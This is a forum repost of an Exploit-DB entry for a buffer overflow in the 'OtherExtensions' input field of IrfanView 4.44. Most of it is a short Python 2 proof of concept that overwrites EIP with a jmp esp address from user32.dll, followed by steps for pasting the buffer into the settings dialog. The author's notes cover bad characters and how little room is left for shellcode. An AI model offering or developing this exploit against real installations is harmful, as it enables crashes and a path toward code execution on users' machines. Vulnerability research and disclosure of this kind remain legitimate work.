Exploit IrfanView 4.44 - Denial of Service

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
41949
Проверка EDB
  1. Пройдено
Автор
DREIVAN ORPRECIO
Тип уязвимости
DOS
Платформа
WINDOWS
CVE
N/A
Дата публикации
2017-04-29
IrfanView 4.44 - Denial of Service
Код:
# Exploit Title: Irfanview - OtherExtensions Input Overflow
# Date: 29-04-2017
# Software Link: http://download.cnet.com/IrfanView/?part=dl-&subj=dl&tag=button
# Exploit Author: Dreivan Orprecio
#Version: Irfanview 4.44
#Irfanview is vulnerable to overflow in "OtherExtensions" input field
#Debugging Machine: WinXP Pro SP3 (32bit)


#POC

#!usr/bin/python


      eip = "\xf7\x56\x44\x7e" #jmp esp from user32.dll



      buffer = "OtherExtensions="+"A" *  199 + eip + "\xcc" 

      print buffer              #a) irfanview->Option->Properties/Settings->Extensions
                                #b) Paste the buffer in the "other" input then press ok, repeat a) and b)





#badcharacters: those instruction that start with 6,7,8,E,F 
#Only 43 bytes space to host a shellcode and lots of badchars make it hard for this to exploit
#Any other way around this?
 
Источник
www.exploit-db.com

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